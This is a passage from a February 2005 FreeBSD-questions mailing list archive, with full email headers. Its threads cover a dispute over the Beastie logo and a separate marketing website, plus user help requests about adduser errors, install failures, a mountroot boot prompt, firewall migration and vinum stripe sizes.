intelligent and competent administrators that would love to run BSD be forced to install linux just because the management of their company liked linux better. A business is rarely stupid, but the people that run the business may often have their priorities messed up. > Someone said people change logos all the time. That's flat out wrong. > When a company spends mucho dinero on marketing their logo, they don't > just flip around and decide to change their logo that they spent so much > money and time getting mindshare with. Have any examples of logos that > have constantly changed? As posten elsewhere in this thread: http://www.bellsystemmemorial.com/bell_logos.html Times and trends change, companies that wants to survive do to. > Windows' logo isn't even a logo. It's a flag of a window pane falling > apart in the breeze. I associate windows with broken glass. These > things don't seem to hinder Windows from getting massive market share. > > Since when did FreeBSD, a project always driven by volunteers and not by > commercial matters, suddenly gain a marketing department that is trying > to steer FreeBSD into the business sector? Is FreeBSD starting to have > marketing dictate technology instead of technology dictate marketing? I sincerely hope not. But superior technology does not mean we cant be good at marketing too. And seriously, would FreeBSD suffer from a better logo? Would it make it less technology driven? Even if the logo was picture of someones ass, I would still use FreeBSD. If the logo was a superior and beatiful incarnation of everything a logo should be, that would not change my mind either. > Or is this all some sneaky way of saying that Beastie is too much like > the Devil and this new logo contest is a way to slip out the connotative > Beastie with some other more politically correct symbol, like the drive > in American classrooms for Intelligent Design to be taught in science > classes ("It's not Creationism! It's not Creationism! It's *science*...") There are so many reasons beside religious ones why Beastie is a bad logo I dont even know where to start. It looks bad in print. Its expensive to print. It does not look like something an advanced OS would use as logo. Its hard to reproduce. On the other hand, its almost perfect as a mascot, which is a very different thing from a logo. > Just asking, since I was largely ignoring the thread but got curious > after so MANY posts were made about the topic. Seems to be a hot topic. Which it wouldnt be if 90% of the posters to this thread didnt missunderstand the whole idea. -- R From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 18:11:29 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 767F616A4CE; Sat, 12 Feb 2005 18:11:29 +0000 (GMT) Received: from engine140.deployzone.net (engine140.deployzone.net [193.17.85.140]) by mx1.FreeBSD.org (Postfix) with SMTP id 70F7943D1F; Sat, 12 Feb 2005 18:11:28 +0000 (GMT) (envelope-from chris@czv.com) Received: from adsl-212-90-218-5.cybernet.ch [212.90.218.5] by engine140.deployzone.net; Sat, 12 Feb 2005 19:10:50 +0100 In-Reply-To: <420E3C36.3030601@401.cx> References: <1108146951.31338.10.camel@hatter.wonderland.dn><20050211203848.55287.qmail@web53602.mail.yahoo.com><811873941.20050211232722@wanadoo.fr><420E27DD.1090200@401.cx> <32e1e7d9032b18f1fc7559f664a536ba@czv.com> <420E3C36.3030601@401.cx> Mime-Version: 1.0 (Apple Message framework v619.2) Content-Type: text/plain; charset=US-ASCII; format=flowed Message-Id: <953335bfa83d6330824041fb9665f8b7@czv.com> Content-Transfer-Encoding: 7bit From: Chris Zumbrunn Date: Sat, 12 Feb 2005 19:11:26 +0100 To: "Roger 'Rocky' Vetterberg" X-Mailer: Apple Mail (2.619.2) cc: freebsd-advocacy@freebsd.org cc: freebsd-questions@freebsd.org Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 18:11:29 -0000 On Feb 12, 2005, at 6:26 PM, Roger 'Rocky' Vetterberg wrote: > I advocate changes, you disagree with me, and then you list a lot of > points that should be changed? Im having difficulties with your logic > here. :) I'm not against the changes, of course. I'm not "against" a separate freebsd.com site either. But I disagree that there are no valid arguments against the site split. Changing the one combined site would be both possible and preferable. > All of your points are valid, there are so many things that would > improve FreeBSD's image with just a little tweaking. However, > everytime I've tried to suggest even the slightest change to > freebsd.org, people has started to kick and scream and preach about > the end of the OS as we know it. Therefor I have abandoned every hope > of ever make freebsd.org evolve, and instead joined the advocates of a > user-friendly freebsd.com website. > > Personally, Im backing out of this discussion now. I would love to see > something happen, but there is a limit to how much resistance and > stubbornes a man can take. Everytime this kind of discussion has come > up, I've tried my best to support any attempts of actually making > something happen, but the incredible amount of resistance we always > meet has made me question if its worth it. Until core or atleast a > group of committers *make* something happen, I doubt anything will > change. > > If you go ahead and try to change freebsd.org, I wish you the best of > luck. The brickwall you are about to bang youre head against is very > hard. ;) You may be right about that - or maybe the freebsd community will proof you wrong this time :-) ...Either way, I think there is to much talk and to much focus on the surface, cosmetic stuff. The hard work is in producing and collecting the content for the "freebsd.com" site - not in linking to it from a professional looking front page. That we can do, whichever TLD suffix (or alternative domain name for that matter!) it will use. /czv From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 18:22:00 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 772FC16A4CE for ; Sat, 12 Feb 2005 18:22:00 +0000 (GMT) Received: from rproxy.gmail.com (rproxy.gmail.com [64.233.170.197]) by mx1.FreeBSD.org (Postfix) with ESMTP id 1DC2A43D46 for ; Sat, 12 Feb 2005 18:22:00 +0000 (GMT) (envelope-from louis.harvey@gmail.com) Received: by rproxy.gmail.com with SMTP id 34so357233rns for ; Sat, 12 Feb 2005 10:21:59 -0800 (PST) DomainKey-Signature: a=rsa-sha1; q=dns; c=nofws; s=beta; d=gmail.com; h=received:message-id:date:from:reply-to:to:subject:mime-version:content-type:content-transfer-encoding; b=kcxM2WD92dfoNoj4WkarGhm0Dzz4AETNbb69DzLE9ytdWdQyzKkOVj40O+JcuFCnveWpcoS3UbkF9Y5f0yt4BgOrsezMwQxMAVb/Y6CeXmO+bLg40kdxDbO/Pfebo3TRITwLJiS1jZ7xsEde8uGslluGxYW0Vonm9/5I0gKjwEY= Received: by 10.38.179.61 with SMTP id b61mr94677rnf; Sat, 12 Feb 2005 10:21:59 -0800 (PST) Received: by 10.38.206.63 with HTTP; Sat, 12 Feb 2005 10:21:59 -0800 (PST) Message-ID: <91984ed4050212102116b27f3c@mail.gmail.com> Date: Sat, 12 Feb 2005 13:21:59 -0500 From: Louis Harvey To: freebsd-questions@freebsd.org, louis.harvey@gmail.com Mime-Version: 1.0 Content-Type: text/plain; charset=US-ASCII Content-Transfer-Encoding: 7bit Subject: FreeBSD5.2.1 - adduser pw: user 'user' disappeared during update X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: Louis Harvey List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 18:22:00 -0000 Hello ! For the first time after installing FreeBSD 5.2.1, I am trying to add a new user, but without success so far. I have tried many times (as root), with /usr/sbin/adduser and also with /stand/sysinstall > Configure > User Management > User (Add a new user to the system), but the operation seems fo fail at the end, when I give the final YES. I get the following error message: pw: user 'user' disappeared during update I have checked on the Web giving the error message as input to google, but got only one highly pertinent message. In the end, the guy says he re-installed FreeBSD, wihich I cannot do right now. I checked with the command vipw, and emacs shows the lines corresponding the users I attempted to create along with the other users I created at install time. There is no subdir under /home for my attempts at creating those users, nor can I log into the system with those users. Please, could someone help me with this message? Salutations, Louis Harvey From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 18:25:56 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id C0E6C16A4CF for ; Sat, 12 Feb 2005 18:25:56 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 460DD43D3F for ; Sat, 12 Feb 2005 18:25:56 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1CIPuj35360; Sat, 12 Feb 2005 10:25:57 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "bsdnooby" , Date: Sat, 12 Feb 2005 10:25:55 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <420E2334.8080907@optonline.net> Importance: Normal Subject: RE: Last try: HP Pavillion zv5445us shuts down during install of 5.3 X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 18:25:56 -0000 does it work with 4.11? Ted > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of bsdnooby > Sent: Saturday, February 12, 2005 7:40 AM > To: freebsd-questions@freebsd.org > Subject: Last try: HP Pavillion zv5445us shuts down during install of > 5.3 > > > HP Pavillion zv5445us shuts down during install of 5.3 > > Right after the screen when you can choose to disable ACPI or > to boot in > SafeMode (both of which I tried), after making a selection - it > shutsdown. I'm trying to install 5.3 from both floppies and CD1. I'm > dualbooting Win XP Pro using PartitionMagic8/BootMagic8 - but I do not > think that is related. My other Toshiba laptop is using a similar > configuration, and works fine. > > I saw in Google where at least 1 other person had this problem, but > there was no resolution. This is a new laptop, P4-3Ghz, 512MB, 100GB > drive, LAN & Wifi, etc. > > Anyone have success with the newer HP pavillions? > > thx > > > -- > No virus found in this outgoing message. > Checked by AVG Anti-Virus. > Version: 7.0.300 / Virus Database: 265.8.7 - Release Date: 2/10/2005 > > _______________________________________________ > freebsd-questions@freebsd.org mailing list > http://lists.freebsd.org/mailman/listinfo/freebsd-questions > To unsubscribe, send any mail to > "freebsd-questions-unsubscribe@freebsd.org" > From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 18:29:05 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 00FFD16A4CE for ; Sat, 12 Feb 2005 18:29:05 +0000 (GMT) Received: from server2.sonservers.com (server2.sonservers.com [69.50.210.200]) by mx1.FreeBSD.org (Postfix) with ESMTP id C69B243D1F for ; Sat, 12 Feb 2005 18:29:04 +0000 (GMT) (envelope-from info@sonservers.com) Received: from 209-181-158-172.omah.qwest.net ([209.181.158.172] helo=IBM-R40) by server2.sonservers.com with smtp (Exim 4.44 (FreeBSD)) id 1D020q-000LKC-Ke; Sat, 12 Feb 2005 12:29:01 -0600 From: Scott To: , X-Mailer: Barca 1.1 (850) - Licensed Version Date: Sat, 12 Feb 2005 12:28:53 -0600 Message-ID: <2005212122853.513867@IBM-R40> In-Reply-To: <2005211204233.443160@IBM-R40> Mime-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: quoted-printable X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - server2.sonservers.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [0 0] / [26 6] X-AntiAbuse: Sender Address Domain - sonservers.com X-Source: X-Source-Args: X-Source-Dir: Subject: Solved: Re: Install 5.3 - Getting mountroot> prompt X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list Reply-To: info@sonservers.com List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 18:29:05 -0000 > At boot, the normal countdown loader comes > up and it begins to boot. The boot message > gets to this drive section below and then > stops at a "mountroot>" prompt. I believe I have solved my problem. When I was creating partitions, I first created the swap, then /tmp to the size I wanted, and all remaining space went to / . I began to think and wonder if the order in which the partitions were created makes a difference so I tried again. I then created the swap, next / and finally /tmp. That seems to have made a difference. It is booting normally now unless I chose option 2 to boot without ACPI. If I boot without ACPI, it times out when finding the drives. Any ideas what would cause that? I'd prefer to not run ACPI on the server. Thanks, Scott From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 18:33:11 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id CBA8116A4CE; Sat, 12 Feb 2005 18:33:11 +0000 (GMT) Received: from mail.freebsd-corp-net-guide.com (mail.freebsd-corp-net-guide.com [65.75.192.90]) by mx1.FreeBSD.org (Postfix) with ESMTP id 4F24543D45; Sat, 12 Feb 2005 18:33:11 +0000 (GMT) (envelope-from tedm@toybox.placo.com) Received: from tedwin2k (nat-rtr.freebsd-corp-net-guide.com [65.75.197.130]) j1CIX6j35397; Sat, 12 Feb 2005 10:33:06 -0800 (PST) (envelope-from tedm@toybox.placo.com) From: "Ted Mittelstaedt" To: "Roger 'Rocky' Vetterberg" , "Chris Zumbrunn" Date: Sat, 12 Feb 2005 10:33:05 -0800 Message-ID: MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit X-Priority: 3 (Normal) X-MSMail-Priority: Normal X-Mailer: Microsoft Outlook IMO, Build 9.0.6604 (9.0.2911.0) X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2800.1441 In-Reply-To: <420E3C36.3030601@401.cx> Importance: Normal cc: freebsd-advocacy@freebsd.org cc: freebsd-questions@freebsd.org Subject: RE: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 18:33:11 -0000 > -----Original Message----- > From: owner-freebsd-questions@freebsd.org > [mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Roger 'Rocky' > Vetterberg > Sent: Saturday, February 12, 2005 9:26 AM > To: Chris Zumbrunn > Cc: freebsd-advocacy@freebsd.org; freebsd-questions@freebsd.org > Subject: Re: Instead of freebsd.com, why not... > > > However, > everytime I've tried to suggest even the slightest change to > freebsd.org, people has started to kick and scream and preach about > the end of the OS as we know it. I have never kicked and screamed about changes to the website layout or such, as long as we don't get rid of the recognizable logos on it. What I and others have always said when someone like you comes along is that you should go for it. Put up a prototype website, it's a free country. Let us look at it. If it's better then the doc people will welcome your efforts on it. Generally when we say this people like you complaining about the website disappear when they realize they are going to have to put their labor where their mouths are. So bye bye. Ted From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 18:36:57 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id D401F16A4CE for ; Sat, 12 Feb 2005 18:36:57 +0000 (GMT) Received: from vs3.bgnett.no (vs3.bgnett.no [194.54.96.185]) by mx1.FreeBSD.org (Postfix) with ESMTP id E4D3043D3F for ; Sat, 12 Feb 2005 18:36:56 +0000 (GMT) (envelope-from peter@bgnett.no) Received: from amidala.datadok.no.bgnett.no ([194.54.107.19]) by vs3.bgnett.no (8.12.9p2/8.12.9) with ESMTP id j1CIam5n087036 for ; Sat, 12 Feb 2005 19:36:49 +0100 (CET) (envelope-from peter@bgnett.no) Sender: peter@amidala.datadok.no To: freebsd-questions@freebsd.org References: <200502120158.59833.l0kit0@exactas.org> From: peter@bgnett.no (Peter N. M. Hansteen) Date: 12 Feb 2005 19:35:52 +0100 In-Reply-To: <200502120158.59833.l0kit0@exactas.org> Message-ID: <86u0ohiq2f.fsf@amidala.datadok.no> Lines: 18 User-Agent: Gnus/5.09 (Gnus v5.9.0) Emacs/21.3 MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii X-bgnett.no-virusscanner: Found to be clean X-Envelope-To: freebsd-questions@freebsd.org Subject: Re: ipfilter2ipchains script? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 18:36:58 -0000 Luciano Musacchio writes: > if not, whats the better solution for a newbie bsd admin to do > firewalls on linux? (long term plan is bsd-migration of course :) The best option is to migrate your firewall to a BSD and use PF. See the PF faq at http://www.openbsd.org/faq/pf/ for some info on getting started. In the meantime, if short term migration is not an option, you might want to look at something like Firewall Builder(http://www.fwbuilder.org) which I believe is able to generate configurations for PF, IPFW, IPFilter and iptables from a common XML source. -- Peter N. M. Hansteen, member of the first RFC 1149 implementation team http://www.blug.linux.no/rfc1149/ http://www.datadok.no/ http://www.nuug.no/ "First, we kill all the spammers" The Usenet Bard, "Twice-forwarded tales" From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 19:05:25 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 499D716A4CE for ; Sat, 12 Feb 2005 19:05:25 +0000 (GMT) Received: from rader.servnow.com (rader.servnow.com [69.93.129.4]) by mx1.FreeBSD.org (Postfix) with ESMTP id E7A8743D4C for ; Sat, 12 Feb 2005 19:05:24 +0000 (GMT) (envelope-from mikes@siralan.org) Received: from 12-210-221-89.client.insightbb.com ([12.210.221.89] helo=familysquires.net) by rader.servnow.com with esmtps (TLSv1:AES256-SHA:256) (Exim 4.43) id 1D02Zt-0006oZ-Tv; Sat, 12 Feb 2005 14:05:16 -0500 Date: Sat, 12 Feb 2005 14:05:16 -0500 (EST) From: "Michael L. Squires" X-X-Sender: mikes@familysquires.net To: "Marc G. Fournier" In-Reply-To: <20050209161917.Q94338@ganymede.hub.org> Message-ID: <20050212135932.N20102@familysquires.net> References: <20050208231208.B94338@ganymede.hub.org> <20050208234602.M94338@ganymede.hub.org> <20050209161917.Q94338@ganymede.hub.org> MIME-Version: 1.0 Content-Type: TEXT/PLAIN; charset=US-ASCII; format=flowed X-AntiAbuse: This header was added to track abuse, please include it with any abuse report X-AntiAbuse: Primary Hostname - rader.servnow.com X-AntiAbuse: Original Domain - freebsd.org X-AntiAbuse: Originator/Caller UID/GID - [47 12] / [47 12] X-AntiAbuse: Sender Address Domain - siralan.org X-Source: X-Source-Args: X-Source-Dir: cc: Olivier Nicole cc: "Mark A. Garcia" cc: freebsd-questions@freebsd.org Subject: Re: vinum in 4.x poor performer? X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 19:05:25 -0000 On Wed, 9 Feb 2005, Marc G. Fournier wrote: > I read that somewhere, but then every example shows 256k as being the strip > size :( Now, with a 5 drives RAID5 array (which I'll be moving that server > to over the next couple of weeks), 256k isn't an issue? or is there > something better i should set it to? > The 4.10 man 8 vinum page shows 512K in the example, but later on it says that if cylinder groups are 32MB in size you should avoid a power of 2 which will place all superblocks and inodes on the same subdisk and that an odd number (479kB is the example) should be chosen. Mike Squires From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 19:08:10 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 5249416A4CE for ; Sat, 12 Feb 2005 19:08:10 +0000 (GMT) Received: from moutng.kundenserver.de (moutng.kundenserver.de [212.227.126.185]) by mx1.FreeBSD.org (Postfix) with ESMTP id 7C0F243D5C for ; Sat, 12 Feb 2005 19:08:09 +0000 (GMT) (envelope-from oliverfuchs@onlinehome.de) Received: from [212.227.126.207] (helo=mrelayng.kundenserver.de) by moutng.kundenserver.de with esmtp (Exim 3.35 #1) id 1D02ci-0002tr-00 for freebsd-questions@freebsd.org; Sat, 12 Feb 2005 20:08:08 +0100 Received: from [217.246.205.130] (helo=oliverfuchs.onlinehome.de) (TLSv1:EDH-RSA-DES-CBC3-SHA:168) (Exim 3.35 #1) id 1D02cg-0002v2-00 for freebsd-questions@freebsd.org; Sat, 12 Feb 2005 20:08:07 +0100 Received: from oliverfuchs.onlinehome.de (localhost.onlinehome.de [127.0.0.1]) j1CJ862u003353 for ; Sat, 12 Feb 2005 20:08:06 +0100 (CET) (envelope-from oliverfuchs1@oliverfuchs.onlinehome.de) Received: (from oliverfuchs1@localhost) by oliverfuchs.onlinehome.de (8.13.1/8.13.1/Submit) id j1CJ85Xv003352 for freebsd-questions@freebsd.org; Sat, 12 Feb 2005 20:08:05 +0100 (CET) (envelope-from oliverfuchs1) Date: Sat, 12 Feb 2005 20:08:04 +0100 From: Oliver Fuchs To: freebsd-questions@freebsd.org Message-ID: <20050212190804.GA3324@oliverfuchs.onlinehome.de> Mail-Followup-To: freebsd-questions@freebsd.org References: <91984ed4050212102116b27f3c@mail.gmail.com> Mime-Version: 1.0 Content-Type: text/plain; charset=iso-8859-15 Content-Disposition: inline In-Reply-To: <91984ed4050212102116b27f3c@mail.gmail.com> User-Agent: Mutt/1.4.2.1i X-Provags-ID: kundenserver.de abuse@kundenserver.de auth:c2b2791553508cc938db2bcf18721a3c Subject: Re: FreeBSD5.2.1 - adduser pw: user 'user' disappeared during update X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 19:08:10 -0000 On Sat, 12 Feb 2005, Louis Harvey wrote: > Hello ! > > For the first time after installing FreeBSD 5.2.1, I am trying to add > a new user, but without success so far. I have tried many times (as > root), with /usr/sbin/adduser and also with /stand/sysinstall > > Configure > User Management > User (Add a new user to the system), but > the operation seems fo fail at the end, when I give the final YES. I > get the following error message: > > pw: user 'user' disappeared during update > > I have checked on the Web giving the error message as input to google, > but got only one highly pertinent message. In the end, the guy says he > re-installed FreeBSD, wihich I cannot do right now. Maybe this will help: http://lists.freebsd.org/pipermail/freebsd-questions/2004-February/034920.html > > I checked with the command vipw, and emacs shows the lines > corresponding the users I attempted to create along with the other > users I created at install time. There is no subdir under /home for my > attempts at creating those users, nor can I log into the system with > those users. > > Please, could someone help me with this message? > > Salutations, Louis Harvey > _______________________________________________ Oliver -- ... don't touch the bang bang fruit From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 19:14:52 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id F2A9116A4CE; Sat, 12 Feb 2005 19:14:51 +0000 (GMT) Received: from rambo.401.cx (rambo.401.cx [80.65.205.166]) by mx1.FreeBSD.org (Postfix) with ESMTP id E8C1543D39; Sat, 12 Feb 2005 19:14:50 +0000 (GMT) (envelope-from listsub@401.cx) Received: from [127.0.0.1] (rocky [192.168.200.2]) by rambo.401.cx (8.13.1/8.13.1) with ESMTP id j1CJEl2U037202; Sat, 12 Feb 2005 20:14:47 +0100 (CET) (envelope-from listsub@401.cx) Message-ID: <420E5604.9040401@401.cx> Date: Sat, 12 Feb 2005 20:16:20 +0100 From: "Roger 'Rocky' Vetterberg" User-Agent: Mozilla Thunderbird 1.0 (Windows/20041206) X-Accept-Language: en-us, en MIME-Version: 1.0 To: Ted Mittelstaedt References: In-Reply-To: Content-Type: text/plain; charset=ISO-8859-1; format=flowed Content-Transfer-Encoding: 7bit X-Antivirus: avast! (VPS 0506-1, 2005-02-11), Outbound message X-Antivirus-Status: Clean cc: freebsd-advocacy@freebsd.org cc: freebsd-questions@freebsd.org cc: Chris Zumbrunn Subject: Re: Instead of freebsd.com, why not... X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 19:14:52 -0000 Ted Mittelstaedt wrote: > >>-----Original Message----- >>From: owner-freebsd-questions@freebsd.org >>[mailto:owner-freebsd-questions@freebsd.org]On Behalf Of Roger 'Rocky' >>Vetterberg >>Sent: Saturday, February 12, 2005 9:26 AM >>To: Chris Zumbrunn >>Cc: freebsd-advocacy@freebsd.org; freebsd-questions@freebsd.org >>Subject: Re: Instead of freebsd.com, why not... >> >> >>However, >>everytime I've tried to suggest even the slightest change to >>freebsd.org, people has started to kick and scream and preach about >>the end of the OS as we know it. > > > I have never kicked and screamed about changes to the website layout > or such, as long as we don't get rid of the recognizable logos on it. As far as Im concerned, there are no logos on the website. There is a mascot, but no logo. This, it seems, is a matter of opinion. > What I and others have always said when someone like you comes along > is that you should go for it. Put up a prototype website, it's a > free country. Let us look at it. If it's better then the doc people > will welcome your efforts on it. 'Better' would be a matter of opinion. It would also depend on how you define a good website. For technical people looking for documentation, the current website is very good. For marketing purposes, it sucks. Eventough it is possible to combine the two, I advocate the separated .org/.com solution, simply because the target audiences have very different needs. You, clearly belonging in the technical category, refuses to complement Beastie with a more proffesional logo, something I think is necessary to satisfy the second category. Hence, a separate site for marketing people seems to be a necessity. > Generally when we say this people like you complaining > about the website disappear when they realize they are going to > have to put their labor where their mouths are. If someone points out that something needs improvements, but they are unable to improve it themselves, does this mean that the need for improvement does not exist? Im not a website designer nor a marketing droid, but Im still able to see that FreeBSD could need improvement in these areas. If I could contribute, I would, but I fear that anything I could design would not even beat what we have today. This does not mean that the current website is unbeatable, it just means that I suck at webdesigning. If I could contribute in other ways, I would. Im more then willing to contribute financially and technically, its just that money and technical skills alone will not make a website. > So bye bye. > > Ted Bye. -- R From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 19:18:25 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 6F5CC16A4CE for ; Sat, 12 Feb 2005 19:18:25 +0000 (GMT) Received: from prosporo.hedron.org (hedron.org [66.11.182.60]) by mx1.FreeBSD.org (Postfix) with ESMTP id 9065843D3F for ; Sat, 12 Feb 2005 19:18:24 +0000 (GMT) (envelope-from ean@hedron.org) Received: from localhost.hedron.org (localhost.hedron.org [127.0.0.1]) by prosporo.hedron.org (Postfix) with ESMTP id D12E6C0C5; Sat, 12 Feb 2005 14:18:37 -0500 (EST) From: Ean Kingston To: info@sonservers.com Date: Sat, 12 Feb 2005 14:18:36 -0500 User-Agent: KMail/1.7.1 References: <2005212111810.723572@IBM-R40> In-Reply-To: <2005212111810.723572@IBM-R40> MIME-Version: 1.0 Content-Type: text/plain; charset="iso-8859-1" Content-Transfer-Encoding: 7bit Content-Disposition: inline Message-Id: <200502121418.37242.ean@hedron.org> cc: freebsd-questions@freebsd.org Subject: Re: Install 5.3 - Getting mountroot> prompt X-BeenThere: freebsd-questions@freebsd.org X-Mailman-Version: 2.1.1 Precedence: list List-Id: User questions List-Unsubscribe: , List-Archive: List-Post: List-Help: List-Subscribe: , X-List-Received-Date: Sat, 12 Feb 2005 19:18:25 -0000 On February 12, 2005 12:18 pm, you wrote: > > On February 11, 2005 09:42 pm, Scott wrote: > > > I will really appreciate it of > > > someone can help > > > me out. > > > > > > I am installing 5.3 on a dual p3 > > > server. I have > > > two 160 gig Seagate IDE drives on the > > > first IDE > > > connector, and a CD rom on the 2nd > > > IDE connector. > > > I have reinstalled several times with > > > different > > > drive configurations and keep getting > > > stuck at > > > the same place. > > > > > > At boot, the normal countdown loader > > > comes up and > > > it begins to boot. The boot message > > > gets to this > > > drive section below and then stops at > > > a > > > "mountroot>" prompt. > > > > > > Begin copy ....... > > > > > > ad0: 152627MB > > > [310101/16/63] > > > at ata0-master UDMA66 > > > ad1: 152627MB > > > [310101/16/63] > > > at ata0-master UDMA66 > > > acd0: at ata1-master > > > PIO4 > > > > Your problem may be that you have two > > drives on the same connector that are both > > configured as the master. You need to > > switch the ad1 drive to be the slave. > > Thanks Ean, > > That was an error in my posting. The second drive > actually does show on the output as "slave". I > retyped that into my message from the screen and > copied and pasted that line and didn't change the > "master" to "slave". It actually does show master and > slave correctly. Okay. No problem. I didn't see anything else wrong with what you posted. For what it's worth, I've got an almost identical setup except my drives are 120GB ATA-100. > The master/slave settings are actually correct. Sorry > for the confusion. > > I'm going to try to install 5.2.1 again and see if I still > have the same issue. > > > > Manual root filesystem specification: > > > : Mount > > > using filesystem > > > > > > eg. usf:da0s1a > > > ? List valid desk boot devices > > > Abort manual input > > > > > > mountroot> > > > > > > ............ End copy > > > > > > If I type: ufs:ad0s1a > > > at that "mountroot>" > > > prompt, it will boot normally and as > > > far as I can > > > tell, all is working like I would > > > expect. I > > > suspected this may have something to > > > do with my > > > fstab but it looks normal to me: > > > > > > /dev/ad0s1b none swap sw 0 0 > > > /dev/ad1s1b none swap sw 0 0 > > > /dev/ad0s1a / ufs rw > > > 1 1 > > > /dev/ad1s1d /backup ufs rw 2 2 > > > /dev/ad0s1d /tmp ufs rw > > > 2 2 > > > /dev/acd0 /cdrom cd9660 > > > ro,noauto 0 0 > > > > > > Please let me know if I can provide > > > more > > > information that will help you help > > > me know > > > what to do to get it to automatically > > > go on > > > to boot ad0s1a. -- Ean Kingston E-Mail: ean AT hedron DOT org URL: http://www.hedron.org/ From owner-freebsd-questions@FreeBSD.ORG Sat Feb 12 19:41:06 2005 Return-Path: Delivered-To: freebsd-questions@freebsd.org Received: from mx1.FreeBSD.org (mx1.freebsd.org [216.136.204.125]) by hub.freebsd.org (Postfix) with ESMTP id 8FADD16A4DB for ; Sat, 12 Feb 2005 19:41:03 